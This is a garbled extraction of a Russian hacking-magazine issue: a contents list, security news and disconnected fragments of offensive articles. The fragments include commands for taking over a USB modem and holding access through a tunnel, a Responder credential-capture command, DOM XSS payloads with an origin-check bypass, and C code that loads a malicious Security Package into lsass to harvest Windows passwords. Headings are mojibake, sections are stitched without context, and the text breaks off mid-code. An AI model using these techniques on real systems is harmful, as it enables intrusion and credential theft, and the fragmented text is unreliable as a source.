Академический Документы
Профессиональный Документы
Культура Документы
№ 288
CONTENTS
7 вечных тем
Колонка главреда
MEGANews
Самые важные события в мире инфосека за март
Неправильные эльфы
Учим исполняемые файлы Linux сопротивляться отладке
Опасный модем
Закрепляемся в атакованной системе при помощи USB-модема
Фундаментальные основы хакерства
Используем отладчик для анализа 64-разрядных программ в Windows
DOM XSS через Web Messaging
Как работает легкий способ получить XSS с помощью postMessage
Поставщик небезопасности
Как Windows раскрывает пароль пользователя
Девайс-невидимка
Встраиваемся в локальную сеть с помощью «невидимого» хакерского устройства
Ангард!
Реверсим приложение, защищенное DNGuard
Уроки форензики
Ищем улики в сетевом трафике
HTB Mentor
Извлекаем информацию из SNMP и пентестим API веб‑сервиса
HTB Vessel
Эксплуатируем уязвимость в кластере Kubernetes
HTB Extension
Пентестим плагин для Gitea и сбегаем из Docker
HTB Forgot
Отравляем Web Cache для получения админки сайта
Состязание в приватности
Сравниваем безопасные браузеры 2023 года
Чит своими руками
Смотрим сквозь стены и делаем автоприцеливание для 3D-шутера
Титры
Кто делает этот журнал
ПОДПИСКА НА «ХАКЕР»
КОЛОНКА ГЛАВРЕДА
Каждый уважающий себя гик и тем более сисадмин или безопасник неп-
рерывно улучшает свой рабочий процесс. В ход идут разные средства авто-
матизации и тонкой настройки операционной системы. Мы бы хотели время
от времени публиковать статьи, которые расскажут читателям о разных
неочевидных ходах и полезных программах. Сюда же относится и всякое
самоделие: если ты смастерил космический корабль из кофеварки и старого
смартфона, из этого наверняка выйдет забойное чтиво!
ÒÅÌÀ 6. ÊÎÄÈÍÃ
ÍÀÏÓÒÑÒÂÈÅ
Обычно человек, читавший «Хакер», уже неплохо представляет себе, как выг-
лядят наши статьи. Но на всякий случай напомню: мы стараемся писать
живым языком, без зауми; общаемся с читателем на ты и используем те сло-
ва, которыми обсуждали бы те же темы между собой. Юмор и хорошее нас-
троение всегда приветствуются!
Но не буду повторяться — советы о том, как писать, я уже давал в одном
из прошлых выпусков колонки. Читай, вдохновляйся и дай знать мне
или кому-то из редакторов, когда придумаешь подходящую тему.
Мария «Mifrill» Нефёдова
nefedova@glc.ru
KALI PURPLE
ДЛЯ БЕЗОПАСНИКОВ
Компания Offensive Security выпустила Kali Linux 2023.1, первую в 2023 году
версию (к тому же приуроченную к десятилетию проекта), с новым дистри-
бутивом Kali Purple, который предназначен для blue и purple team, то есть ори-
ентирован на оборонительную безопасность.
Аналогичное же число респондентов (по 42%) указали две другие причины работы с компани-
ями в сфере ИБ на аутсорсе: более высокая эффективность и необходимость следовать тре-
бованиям регуляторов.
Около трети опрошенных отметили недостаток опыта в сфере кибербезопасности внутри своей
организации (36%) и финансовую выгоду, связанную с оптимизацией затрат на поддержку
штата, покупку лицензий, разворачивание и масштабирование IT-инфраструктуры (32%).
СОЗДАТЕЛЬ
BREACHFORUMS
АРЕСТОВАН
Примерно 2/3 всех рабочих мест может затронуть автоматизация с использованием ИИ,
который снимет до 50% нагрузки с работников.
Ожидается, что лишь 7% трудящихся могут потерять свою должность и могут быть заменены
ИИ. Еще в 63% случав ИИ возьмет на себя лишь часть задач, облегчив работу людям, а при-
мерно 30% работающих людей развитие ИИ-систем вообще не затронет.
Около 25% всех рабочих задач, выполняемых в США и Европе, могут быть автоматизированы
с помощью искусственного интеллекта.
Если широко использовать искусственный интеллект, то общий рост мирового ВВП может сос-
тавить 7% в течение следующих десяти лет, считают эксперты.
SYNACKTIV
ПОБЕДИЛА
НА PWN2OWN
Суммарно команда увезла домой 530 тысяч долларов (это примерно полови-
на всего призового фонда соревнований), Tesla Model 3 и заработала 53 бал-
ла Master of Pwn, обогнав всех соперников с огромным отрывом.
Это уже второй раз, когда Synacktiv выигрывает Pwn2Own. В прошлый раз
специалисты Synacktiv заняли первое место в 2021 году, на Pwn2Own Austin.
Теперь все поставщики должны исправить продемонстрированные и рас-
крытые во время Pwn2Own уязвимости в течение 90 дней, а затем Trend Micro
Zero Day Initiative открыто опубликует технические подробности всех исполь-
зованных на соревновании 0-day-эксплоитов.
Зампред Совбеза РФ Дмитрий Медведев заявил, что считает правильным скачивать и рас-
пространять в сети пиратские копии фильмов и музыкальных произведений, которые стали
недоступны в России по решению западных правообладателей.
→ «Знаете что? Ищите правильных пиратов и скачивайте у них. Если они ушли
от нас, всякие „Нетфликсы“ и прочие, значит, будем это все скачивать, будем
пользоваться бесплатно. А я бы все это по сети разбрасывал, для того чтобы
причинить им максимальный урон. Максимальный урон, чтобы они обанкро-
тились!»
ЗАДЕРЖИТЕ ИИ!
Доля компании на рынке упала на 30% с 24 марта 2023 года, сообщают аналитики компании
CryptoCompare.
Продолжение статьи →
← Начало статьи
УТЕКЛИ ИСХОДНИКИ
TWITTER
Мошеннические ресурсы похищали у россиян логины и пароли, данные банковских карт, акка-
унты в мессенджерах.
В зонах .ru и .рф количество заблокированных сайтов выросло более чем вдвое: с 3210
до 7121.
В целом за прошлый год только в зонах .ru и .рф специалисты обнаружили 20 170 фишинговых
доменов (в 2021 году их число составляло 15 363 домена).
ACROPALYPSE
УГРОЖАЕТ WINDOWS
И PIXEL
ДРОНЫ DJI
РАСКРЫВАЮТ
ЛОКАЦИЮ
ОПЕРАТОРОВ
В начале марта комитет палаты представителей конгресса США принял законопроект, который
может позволить президенту полностью запретить TikTok в стране. В конце 2022 года соцсеть
уже запретили устанавливать на государственные устройства более чем в 20 штатах, а некото-
рые университеты заблокировали его в Wi-Fi-сетях своих кампусов.
Политики говорят, что TikTok, принадлежащий китайской компании ByteDance и насчитыва-
ющий 150 миллионов пользователей в США, может угрожать национальной безопасности стра-
ны.
— такими вопросами задавался Роб Джойс, глава отдела кибербезопасности в АНБ, на кон-
ференции Silverado Accelerator Conference, прошедшей в конце марта.
Продолжение статьи →
← Начало статьи
ЖУРНАЛИСТУ
ПРИСЛАЛИ ФЛЕШКУ
С БОМБОЙ
На протяжении последних четырех лет этот сектор входит в тройку самых атакуемых отраслей:
каждая десятая успешная атака на организации приходится на промышленные предпри-
ятия.
В большинстве атак (70%) хакеры применяли вредоносное ПО, почти в половине (44%) —
методы социальной инженерии, а еще в 43% случаев эксплуатировали уязвимости ПО.
56% всех успешных атак в этой сфере привели к утечкам данных, которые в первую очередь
затронули сведения, содержащие коммерческую тайну и персональную информацию.
ВЫЯВЛЕНЫ
УЯЗВИМОСТИ
В TPM 2.0
Хуже того, Россия вошла в тройку лидеров в рейтинге регионов мира по доле заблокированных
вредоносных объектов на компьютерах АСУ. Рост по сравнению с первым полугодием составил
9 процентных пунктов — это наиболее значительное изменение среди всех исследуемых
регионов.
Эксперты связывают этот рост с увеличением доли компьютеров АСУ, которые были атакованы
вредоносными объектами из интернета: их количество выросло на 12 процентных пунктов
по сравнению с первым полугодием. К таким угрозам относятся в том числе вредоносные
скрипты и фишинговые страницы (JS и HTML). Они были заблокированы почти на каждом пятом
компьютере АСУ (18%).
УТЕКЛИ ДАННЫЕ
«СБЕРСПАСИБО»
Еще во время первого слива эксперты предупредили, что, хотя номера бан-
ковских карт хранятся в одном из файлов в виде хеша, из-за использования
устаревшего алгоритма SHA-1 «восстановить» реальные значения карт
не составит никакого труда (при помощи обычного перебора). При этом толь-
ко в первом дампе специалисты насчитали 100 092 292 уникальных хеша.
Выборочная проверка номеров банковских карт (через переводы с карты
на карту) показала, что часть из них действительны и перевод на них воз-
можен, а часть карт, видимо, уже неактивна, так как перевод невозможен.
Представители «СберСпасибо» сообщили СМИ, что проверят информа-
цию о возможной утечке:
GPT-4 обманом вынудил человека решить для него CAPTCHA, притворившись слабовидящим
WWW
У LiveOverow есть небольшое видео о том,
как он создавал запускаемый файл, который тем
не менее невозможно открыть в GDB и Radare2:
Uncrackable Program? Finding a Parser Differential
in loading ELF. Этот ролик и положил начало
моему ресерчу.
INFO
На тему файлов-полиглотов очень много
информации можно найти у Ange Albertini
(corkami), известного также как the le format guy.
И весьма заслуженно — в его репозиториях мож-
но отыскать множество постеров с наглядным
представлением кучи форматов: исполняемых
файлов, документов, картинок, архивов и не
только, а также различных заметок.
Там же находится репозиторий PoC||GTFO,
содержащий много занятных статей, помимо пос-
вященных полиглотам. Забавно, но PDF с его
статьями на самом деле тоже больше чем просто
PDF.
INFO
Насколько я могу судить, термин parser
differentials, несмотря на то что существует боль-
ше десяти лет, не особо в ходу за пределами
langsec-сообщества, хотя описаний атак, которые
можно сюда отнести, предостаточно. Также мне
не попадались варианты перевода этого на рус-
ский, но, думаю, можно назвать это чем-то вроде
«разности разбора».
ÏÀÐÑÅÐÛ ELF
ßäðî ÎÑ
Парсер ELF есть в ядре Linux и других ОС, которые умеют с ним работать. Он
отвечает за то, чтобы такие системные вызовы, как execve()/execveat(),
могли выполнить свою работу, а мы могли запускать свои любимые браузеры
и смотреть видео с котиками читать статеечки.
Здесь происходит много работы, но в целом ядро выполняет примерно
следующее:
• проверяет наличие прав на запуск файла;
• проверяет, поддерживается ли формат в качестве исполняемого;
• в зависимости от формата выбирает так называемый интерпретатор.
В случае динамически слинкованных эльфов это ld, а в случае скриптов,
которые начинаются с шебанга (#!), это то, что указано в первой строке (/
bin/sh, /usr/bin/env python3 и вообще любой путь — можешь поэк-
спериментировать на досуге);
• в случае эльфов подготавливает сегменты памяти в соответствии с тем,
что указано в его программных заголовках;
• а если эльф динамический, то надо не забыть подгрузить все необ-
ходимые библиотеки, которые также являются эльфами (для них выпол-
няются те же шаги);
• устанавливает указатель текущей инструкции процесса, вызвавшего
execve*(), на точку входа.
Ñèñòåìíûå óòèëèòû
Здесь можно назвать ряд системных утилит из binutils, среди которых readelf,
objdump, as, gcc и ld. Под капотом у них разбором ELF заведует GNU BFD
Library, то есть можно сказать, что на нижнем уровне парсер один. Но там, где
включается логика самих утилит, могут проявиться различия.
Продолжение статьи →
COVERSTORY ← НАЧАЛО СТАТЬИ
НЕПРАВИЛЬНЫЕ
ЭЛЬФЫ
УЧИМ ИСПОЛНЯЕМЫЕ ФАЙЛЫ LINUX
СОПРОТИВЛЯТЬСЯ ОТЛАДКЕ
ÈÙÅÌ ÐÀÇËÈ×Èß
INFO
Хочу подчеркнуть, что моей целью не был поиск
зиродеев в инструментах, мне хотелось разоб-
раться с тем, как их в принципе можно тес-
тировать пачкой эльфов. Поэтому и выборка
будет не очень большой.
Ôàççåðû
Пофаззить эльфы, как и любой другой формат, можно по-разному. Пойдем
от самого простого.
LiveOverow написал скрипт, который всего лишь устанавливает один слу-
чайный байт из файла в случайное значение и вот таким нехитрым образом
получает работающий файл, не открывающийся в GDB и Radare2. Самое
интересное в этом всем то, что в 2020 году схожим фаззером нашли пару
проблем в Radare2 при обработке заголовков PE и ELF. Этим уязвимостям
присвоили идентификаторы CVE-2020-16269 и CVE-2020-17487.
Другой возможный вариант — воспользоваться AFL++. Это, несомненно,
куда лучше слепого перебора случайных байтов и позволяет отслеживать
покрытие в тестируемой программе. Но нам-то хорошо бы использовать пач-
ку разных инструментов на одинаковом наборе эльфов и найти среди них
такой, который поломает их все, но запустится на системе. А это не совсем
тот юзкейс, на который ориентирован AFL++.
К тому же, если мы знаем, какой именно из парсеров эльфов мы хотим
пофаззить (а точнее, на что в файле обращает внимание тестируемый пар-
сер), то неплохо иметь возможность уточнить задачу фаззеру. Хотим ли мы
портить программные заголовки (PHT, Program Header Table), заголовки сек-
ций (SHT, Section Header Table), собственный заголовок эльфа или, может,
все вместе? Звучит так, будто лучше использовать фаззер с описанием грам-
матик. Но это — отдельная непростая тема, далеко выходящая за рамки
сегодняшней статьи. Исходя из того, чего мы хотим в нашей задаче, нужно
ломать в эльфе заголовки секций, а не все подряд.
И к счастью, для этого есть более подходящий фаззер.
Melkor
Он был создан уже знакомым нам nitr0us специально для получения сломан-
ных разным (в зависимости от задачи) образом эльфов и носит гордое имя
Melkor. Несмотря на свой возраст, у меня он практически без проблем соб-
рался и заработал, да и формат-то за минувшее время не изменился.
Из ограничений Melkor могу выделить поддержку исключительно архитектуры
x86 (32/64 бит).
В репозитории есть пара шаблонных эльфов, которые можно исполь-
зовать как вход для фаззинга. Можно указать, какие именно заголовки
во входном эльфе ты хочешь пофаззить: PHT, SHT, таблицу символов, релока-
ций и прочее, что очень удобно, если знаешь, что именно тебе нужно.
Опции Melkor
Итак, укажем «Мелькору» при генерации эльфов фаззить лишь заголовки сек-
ций в шаблонном файле foo из папки templates. Они будут сохранены в пап-
ке orcs_foo/.
Портим эльфов
Òåñòèðóåì EDB
Посмотрим, как себя почувствуют отладчики. На «плохих» файлах они будут
выводить сообщения об ошибках и ждать указаний пользователя, что
не очень удобно, когда анализируешь поведение на большом количестве
файлов. Тут можно схитрить: чтобы не закрывать отладчик руками каждый раз,
будем запускать его через команду timeout, которая завершит выполнение
тесткейса за нас, а мы пока сможем откинуться на спинку кресла.
На первых двух эльфах EDB (1.3.0) споткнулся, а на третьем запустился,
предлагая отладить файл, но закрылся по тайм-ауту, и тестирование продол-
жилось. Красота!
Падения EDB
Кстати говоря, при исследовании падений крайне удобно иметь сборку тес-
тируемого ПО с санитайзерами. Например, собрав EDB с Address Sanitizer
(ASAN), мы получим удобный бэктрейс, который приятнее просматривать
в логах того же ./test_fuzzed.sh, чем изучать в отладчике каждый кейс
руками.
Ïðîâåðÿåì GDB
Поскольку nitr0us тоже тестировал GDB и учел, что он будет ждать поль-
зовательского ввода, если при открытии файла возникнет ошибка, вместо
трюка с timeout можно раскомментировать строчку 80 вместо 79-й в ./
test_fuzzed.sh, чтобы было так:
# $2 $1$file 2>&1
echo quit | $2 $1$file 2>&1 # Example: "echo quit | gdb -q orcs/x"
В общем, GDB ведет себя достаточно зрело на нашей сотне сломанных эль-
фов в том смысле, что хотя бы не падает на них. Другое дело, что он совер-
шенно отказывается с ними работать, и это только на руку тем, кто заин-
тересован в антиотладке.
Radare2: r2hang
Чтобы автоматизировать анализ файла, запуск дебага и закрытие
Radare2 в случае каких-либо проблем, заменим вновь 80-ю строку скрипта ./
test_fuzzed.sh следующей:
Radare2 за обедом
0x4242424258aebf0b/8 = 596806425961158625
Interactive Disassembler
Последним инструментом, который мы рассмотрим, будет IDA. Тестировать
ее автор Melkor предлагает с помощью его батника win_test_fuzzed.bat,
однако тут нас встречает одно крохотное неудобство: как он указывает в сво-
ем ресерче, закрывать появляющиеся окошки придется руками. Что ж, нехотя
с этим смиримся.
Nitr0us фаззил демоверсию «Иды», мы же испробуем IDA Free
8.2 для Linux. В случае появления окон с ошибками будем действовать так,
как среднестатистический пользователь: не думая соглашаться со всем.
В целом IDA весьма неплохо себя чувствовала. В ней есть проверка сме-
щений и размеров секций, их пересечений, валидности атрибутов и соот-
ветствующая обработка невалидных значений. Однако же нашлись эльфы,
оказавшиеся ей не по зубам. В одном из файлов она некорректно отобража-
ет содержимое секций в сегменты, выводя крайне странную точку входа, да и
список доступных сегментов тоже оставляет множество вопросов. ELF
при этом успешно запускается через F9 для отладки и завершается
с кодом 0.
Более того: можно поставить точку останова в точке входа (и пусть тебя нис-
колько не смущает ее вид!), и при отладке IDA действительно остановится
на старте бинаря, а при нажатии на F7 (single step) еще и предложит перевес-
ти данные в код.
Точка входа
ÂÛÂÎÄÛ
Однажды мне сказал один мудрец: первое и главное, что необходимо сде-
лать, когда хочется что-то сломать, — осознать поверхность атаки. Интерес-
но, как всего лишь сотни поломанных эльфов оказалось достаточно, чтобы
проэксплуатировать parser differential в различных инструментах и предотвра-
тить анализ рабочих файлов, когда знаешь, на что обращать внимание.
Всевозможные парсеры чего угодно — настоящее поле для эксперимен-
тов. Реализации стандартов содержат ошибки и не парсят одинаково, а в
форматах часто присутствует избыточная информация. Пример тому —
информация о секциях ELF, благодаря чему одни и те же файлы прекрасно
запускаются ОС, игнорирующей ее, но не анализируются инструментами, так
или иначе полагающимися на эти данные. Лейтмотив всего langsec’а тому
подтверждение:
Ambiguity is insecurity.
Как мы увидели, проще всего было сделать так, чтобы GDB отказался ана-
лизировать файл. Мы смогли заставить упасть EDB и зависнуть Radare2. IDA
же, хоть и могла открыть большинство бинарей, на двух выдала откровенную
чушь.
В EDB и Radare2 были локализованы и пофикшены найденные баги. Я счи-
таю, это неплохой результат для ресерча, который начался с восьмиминут-
ного видео!
WWW
Если тебе интересно более основательно поковы-
ряться с ломанием инструментов для работы
с ELF-файлами, предлагаю тебе ознакомиться
со следующими источниками, не считая уже
перечисленных в тексте:
•tmp.out — ezine, посвященный эльфам и ревер-
су, и их репозиторий с огромным списком ссы-
лок по теме;
•репозиторий elfmaster (Ryan O’Neill), гуру эль-
фов;
•PoC||GTFO — что-то типа сборника статей
о форматах файлов, протоколов, их внут-
ренностях, реверсе и эксплуатации,
или Emulation, vintage computing, modern heap
corruption exploitation, systems internals,
and everything in between;
•How programs get run: ELF binaries [LWN.net];
•How does the Linux kernel run a program и другие
статьи по Linux от 0xAX;
•вайтпейпер “Weird Machines” in ELF: A Spotlight
on the Underappreciated Metadata.
ВЗЛОМ
ЗАКРЕПЛЯЕМСЯ
В АТАКОВАННОЙ СИСТЕМЕ
ПРИ ПОМОЩИ USB-МОДЕМА
INFO
Эта статья — часть серии публикаций о прак-
тических приемах взлома и атак с использовани-
ем подручных устройств, которые можно собрать
дома. В этих материалах мы раскрываем простые
способы получения несанкционированного дос-
тупа к защищенной информации и показываем,
как ее оградить от подобных атак. Предыдущая
статья серии: «Злая сетевуха. Разбираем
в деталях атаку BadUSB-ETH».
ÐÅÀËÈÇÀÖÈß
telnet 192.168.8.1
adb connect 192.168.8.1:5555
curl http://192.168.8.1/html/switchDebugMode.html
minicom -D /dev/ttyUSB0
AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 # Не переходить в режим CD-ROM при запуске,
включен RNDIS/CDC
AT^RESET # Перезагрузка
busybox passwd
reboot
ÇÀÊÐÅÏËÅÍÈÅ
L2-ÄÎÑÒÓÏ
l2.ovpn
lclient
proto tcp
dev tap
<ca>
</ca>
<cert>
</cert>
<key>
</key>
keepalive 10 60
persist-key
persist-tun
lan_turtle.ovpn
local 172.16.0.10
port 1194
proto tcp
dev tap
user nobody
<ca>
</ca>
<cert>
</cert>
<key>
</key>
<dh>
</dh>
keepalive 10 180
verb 3
responder -I tap0 -r -d -w -F
ÊÀÊ ÇÀÙÈÒÈÒÜÑß
ИСПОЛЬЗУЕМ ОТЛАДЧИК
ДЛЯ АНАЛИЗА 64-РАЗРЯДНЫХ
ПРОГРАММ В WINDOWS
Ñïîñîáíîñòè îòëàä÷èêîâ
Первым делом надо разобраться в перечне основных функциональных воз-
можностей типовых отладчиков (без этого невозможно их осмысленное при-
менение):
• отслеживание обращений на запись, чтение и исполнение к заданной
ячейке (региону) памяти, далее по тексту именуемое бряком (брейком);
• отслеживание обращений на запись и чтение к портам ввода-вывода (уже
неактуально для современных операционных систем, запрещающих поль-
зовательским приложениям проделывать такие трюки, — это теперь пре-
рогатива драйверов, а на уровне драйверов реализованы очень немногие
защиты);
• отслеживание загрузки DLL и вызова из них таких-то функций, включая
системные компоненты (как мы увидим далее, это основное оружие сов-
ременного взломщика);
• отслеживание вызова программных и аппаратных прерываний (большей
частью уже неактуально — не так много защит балуется с прерываниями);
• отслеживание сообщений, посылаемых приложением окну;
• и, разумеется, контекстный поиск в памяти.
Ãåðîè ïðîøëîãî
В прошлом в качестве отладчика хакеры использовали широко известный
SoftICE. Это был действительно мощный инструмент, и даже по прошествии
многих лет лучше него ничего не было изобретено. Неоспоримым его пре-
имуществом была возможность отладки ядра Windows с помощью одного
компьютера. Между тем, не без давления Microsoft, в 2006 году его разработ-
ка была прекращена. А поскольку SoftICE очень сильно зависел от операци-
онной системы Windows, в более поздних ее версиях он просто не работает.
Последней версией Windows, в которой можно пользоваться SoftICE, была
Windows XP SP 2. В SP 3 он уже не функционировал, а в Vista и Windows
7 и подавно.
SoftICE
Syser
WWW
Файлы с примерами можно скачать с GitHub.
.symfix d:\debugSymbols
.reload
bp passCompare1!main
Ïîèñê àäðåñà
Давай попробуем наскоро найти защитный механизм и, не вникая в под-
робности его функционирования, напрочь отрубить защиту. Вспомним,
по какому адресу расположен в памяти оригинальный пароль. Заглянем
в дамп секции .rdata, где хранится пароль. Исходный пароль
myGOODpassword находится по смещению 0x140002280. Попробуем вывести
находящиеся по этому адресу в памяти данные:
dc 0x140002280
!dh passCompare1
SECTION HEADER #2
.rdata name
101C virtual size
2000 virtual address
1200 size of raw data
1400 file pointer to raw data
0 file pointer to relocation table
0 file pointer to line numbers
0 number of relocations
0 number of line numbers
40000040 flags
Initialized Data
(no align specified)
Read Only
dc 0x7ff7159b0000 + 2000
dc 0x7ff7159b2000 0x7ff7159b2300
Найденный адрес
ba r4 0x7ff7159b2280
0:000> dc rcx
00000093`bf5cfbd0 434e504b 000a2b2b 00000000 00000000
KPNC++..........
0:000> dc [rdx+rcx]
00007ff7`159b2280 4f47796d 6170444f 6f777373 000a6472
myGOODpassword..
<body>
<script>document.write(location.href);</script>
</body>
http://website.com/index.html#<script>alert(1)</script>
WWW
Подробнее о CORS и SOP ты можешь прочитать,
к примеру, в этих статьях на «Хабрахабре»:
«CORS для чайников: история возникновения,
как устроен и оптимальные методы работы»
и «Политика общего происхождения и CORS:
визуальное руководство».
<script>
window.addEventListener('message', function(e){
document.getElementById('qwe').innerHTML = e.data;
})
</script>
Origin verification
Представим, что целевая страница легитимного сайта содержит такой
скрипт:
window.addEventListener('message', function(e) {
if (e.origin.indexOf('normal-website.com') > -1) {
eval(e.data);
}
});
<http://www.normal-website.com.attacker.com>
JSON Parse
Нередки случаи, когда слушатель может выполнить одно из нескольких
заранее указанных действий, в зависимости от того, какое именно сооб-
щение он получит при выполнении postMessage. Подразумевается, что
дочерний фрейм сможет по-разному реагировать на различные сообщения,
приходящие из родительского элемента. Эта вариативность действий будет
описана в дочернем <iframe> подобным скриптом:
<script>
window.addEventListener('message', function(e) {
var iframe = document.createElement('iframe'), ACMEplayer = {
element: iframe}, d;
document.body.appendChild(iframe);
try {
d = JSON.parse(e.data);
} catch(e) {
return;
}
switch(d.type) {
case "img":
ACMEplayer.element.src = d.url;
break;
case "redirect":
window.location.replace(d.redirectUrl);
break;
}
}, false);
</script>
ÂÛÂÎÄÛ
ПОСТАВЩИК
КАК WINDOWS
РАСКРЫВАЕТ ПАРОЛЬ
ПОЛЬЗОВАТЕЛЯ
ÊÎÌÏÎÍÅÍÒÛ ÁÅÇÎÏÀÑÍÎÑÒÈ
Security Package
Security Package (SP) — программная реализация некоего протокола
безопасности. Security Package содержатся в SSP (и/или SSP/AP) в виде DLL-
файлов. Например, Kerberos и NTLM находятся в SSP Secur32.dll. Да, имен-
но в Secur32.dll, так как именно этот SSP делегирует функции безопас-
ности нужному SP. Например, если служба требует аутентификацию
по Kerberos, то Secur32.dll вызовет Kerberos.dll.
Работа SP
Security Providers
Security Providers не стоит путать с Security Package. Они все-таки различа-
ются.
Провайдеры безопасности реализованы в виде DLL и позволяют выпол-
нить так называемую вторичную аутентификацию. То есть после того,
как пользователь прошел аутентификацию на одной машине, он может прой-
ти аутентификацию и на другой машине, например на сервере Linux. Таким
образом, пользователь получает доступ к ресурсам UNIX-сервера с машины
Windows без дополнительной аутентификации. Это называется Single Sign-
On.
Credential Providers
Провайдеры учетных данных — COM-объекты, служащие для беспарольного
доступа к системе. Реализованы тоже в виде динамических библиотек DLL.
Например, для распознавания лица используется FaceCredentialProvider.
dll, для смарт-карт — SmartcardCredentialProvider.dll.
Также может использоваться сторонний поставщик учетных данных. Все
доступные поставщики учетных данных перечислены здесь:
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\
Credential Providers
Password Filters
С помощью Password Filters можно расширить стандартную парольную
политику на конкретных хостах. Когда создается запрос на смену пароля, LSA
вызывает все пакеты уведомлений, чтобы проверить, удовлетворяет ли новый
пароль фильтрам, реализованным внутри пакета. Причем каждый пакет уве-
домлений вызывается дважды:
1. Для проверки нового пароля. Если какой-то из пакетов уведомлений сооб-
щает, что пароль не подходит, система потребует у пользователя указать
иной пароль.
2. Для уведомления о том, что пароль изменился. Этот вызов произойдет
только тогда, когда все пакеты уведомлений сообщили, что пароль нор-
мальный и соответствует их фильтрам.
NTSTATUS LsaLookupAuthenticationPackage(
[in] HANDLE LsaHandle,
[in] PLSA_STRING PackageName,
[out] PULONG AuthenticationPackage
);
И ставил SID = 0.
Null sid
Процесс аутентификации
Èíèöèàëèçàöèÿ LSA
Именно LSA играет ключевую роль в процессе аутентификации пользователя.
Каким образом LSA будет инициализировать наши вредоносные SP, AP и NP?
При запуске устройства LSA автоматически подгружает все зарегистри-
рованные SP, реализованные в виде DLL, в свое адресное пространство. Все
зарегистрированные DLL находятся по следующему пути:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages
Ключ со всеми SP
kerberos"\0"msv1_0"\0"schannel"\0"wdigest"\0"tspkg"\0"pku2u"\0
Все эти DLL указываются без полного пути. Microsoft рекомендует помещать
SP в папку %systemroot%/system32. Далее у каждого SP вызывается функция
SpLsaModeInitialize(), благодаря которой LSA получает специальную таб-
лицу SECPKG_FUNCTION_TABLE, содержащую указатели на функции. Они
реализуют данный пакет безопасности. Выглядит это примерно вот так:
SECPKG_FUNCTION_TABLE SecurityPackageFunctionTable[] =
{
{
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, SpInitialize,
SpShutDown, SpGetInfo, SpAcceptCredentials, NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL
}
};
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages
Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ
ПОСТАВЩИК
НЕБЕЗОПАСНОСТИ
КАК WINDOWS РАСКРЫВАЕТ ПАРОЛЬ
ПОЛЬЗОВАТЕЛЯ
Ключ со всеми AP
LSA_DISPATCH_TABLE DispatchTable;
NTSTATUS LsaApInitializePackage(_In_ ULONG
AuthenticationPackageId, _In_ PLSA_DISPATCH_TABLE
LsaDispatchTable, _In_opt_ PLSA_STRING Database, _In_opt_
PLSA_STRING Confidentiality, _Out_ PLSA_STRING*
AuthenticationPackageName)
{
// Сохраняем адреса функций
DispatchTable.CreateLogonSession = LsaDispatchTable->
CreateLogonSession;
DispatchTable.DeleteLogonSession = LsaDispatchTable->
DeleteLogonSession;
DispatchTable.AddCredential = LsaDispatchTable->AddCredential;
DispatchTable.GetCredentials = LsaDispatchTable->GetCredentials;
DispatchTable.DeleteCredential = LsaDispatchTable->
DeleteCredential;
DispatchTable.AllocateLsaHeap = LsaDispatchTable->AllocateLsaHeap
;
DispatchTable.FreeLsaHeap = LsaDispatchTable->FreeLsaHeap;
DispatchTable.AllocateClientBuffer = LsaDispatchTable->
AllocateClientBuffer;
DispatchTable.FreeClientBuffer = LsaDispatchTable->
FreeClientBuffer;
DispatchTable.CopyToClientBuffer = LsaDispatchTable->
CopyToClientBuffer;
DispatchTable.CopyFromClientBuffer = LsaDispatchTable->
CopyFromClientBuffer;
if (NULL != (*AuthenticationPackageName))
{
(*AuthenticationPackageName) = (LSA_STRING*)
LsaDispatchTable->AllocateLsaHeap(sizeof(LSA_STRING));
(*AuthenticationPackageName)->Buffer = (char*)
LsaDispatchTable->AllocateLsaHeap((ULONG)strlen
("myssp") + 1);
if (NULL != (*AuthenticationPackageName)->Buffer)
{
(*AuthenticationPackageName)->Length =
strlen("myssp");
(*AuthenticationPackageName)->MaximumLength =
strlen("myssp") + 1;
strcpy(
(*AuthenticationPackageName)->Buffer,
"myssp");
}
return 0xC0000002; // STATUS_NOT_IMPLEMENTED
}
}
ÝÊÑÏËÓÀÒÀÖÈß
Êàê äåáàæèòü?
Многие функции, которые мы будем использовать, возвращают либо
NTSTATUS, либо SECURITY_STATUS. Чтобы понять, что сломалось, в первом
случае можно воспользоваться функцией LsaNtStatusToWinError():
ULONG LsaNtStatusToWinError(
[in] NTSTATUS Status
);
Описание ошибки
Çàãðóçêà â ñèñòåìó
Первый вариант самый простой. Мы будем использовать функцию
AddSecurityPackage(), что позволит загрузить SP в систему буквально
одним кликом:
#define WIN32_NO_STATUS
#define SECURITY_WIN32
#include <windows.h>
#include <sspi.h>
#include <NTSecAPI.h>
#include <ntsecpkg.h>
#pragma comment(lib, "Secur32.lib")
int main()
{
char packagePath[] = "C:\\Windows\\SP.dll";
SECURITY_PACKAGE_OPTIONS spo = {};
SECURITY_STATUS ss = AddSecurityPackageA(packagePath, &spo);
if (ss != SEC_E_OK) {
if (ss == SEC_E_SECPKG_NOT_FOUND) {
std::wcout << L"[?] SEC_E_SECPKG_NOT_FOUND received!
Check architecture. U should load x86 DLL into x86 system. x64 DLL
into x64 systems" << std::endl;
return 1;
}
else {
std::wcout << L"[-] AddSecurityPackage failed: " << ss <<
std::endl;
return 1;
}
}
else {
std::wcout << L"[+] AddSecurityPackage Success" << std::endl;
}
return 0;
}
Ïðîâåðêà
Чтобы проверить успешность загрузки нашего SP в адресное пространство
процесса lsass.exe, можно воспользоваться функцией
EnumerateSecurityPackages():
void EnumSecPkg() {
SECURITY_STATUS status;
ULONG pcPackages = 0;
SecPkgInfo* secPkgInfo = NULL;
status = EnumerateSecurityPackages(&pcPackages, &secPkgInfo);
if (status != SEC_E_OK) {
wprintf(L"[!] EnumerateSecurityPackages() failed with error:
%i\n", status);
}
std::wcout << L"NAME" << std::setw(50) << L"COMMENT" << std::setw
(40) << L"VERSION" << std::endl;
for (ULONG i = 0; i < pcPackages; i++) {
std::wcout << secPkgInfo[i].Name << std::setw(75 - wcslen(
